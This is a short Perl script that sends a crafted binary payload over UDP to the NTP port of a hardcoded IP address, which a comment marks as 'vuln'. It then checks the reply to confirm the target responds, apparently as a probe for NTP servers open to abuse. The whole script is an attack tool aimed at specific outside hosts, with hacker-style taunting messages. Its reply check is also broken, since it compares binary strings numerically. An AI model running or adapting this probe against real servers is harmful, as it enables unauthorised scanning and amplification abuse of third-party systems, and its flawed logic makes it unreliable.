use IO::Socket;
use strict;

print "Connecting :D\n";
my $socket = IO::Socket::INET->new(
    PeerAddr  => '23.113.161.164', # 38.124.108.67  <-- NON vuln ip for testing
    PeerPort  => 123,              # 23.113.161.164  <-- This IS a vuln ip!
    Proto => 'udp',
    Timeout => 1);
die "Sockets fucking hate you: $!\n" unless $socket;

print "Were in, put on the masks\n";

my $payload = "\x97\x00\x00\x00\xAA\x00\x00\x00";
my $good = "\x97\x00\x00\x00";

$socket->send($payload) or die "Nothing got sent.";

my $data;
$socket->recv($data,4);
my $response = substr($data,0,8);
$response = reverse($response);

if ($response == $good) {
print "Success bro!\n";
} else {
print "Your whole life is a lie and you are a failure\n";
exit();
}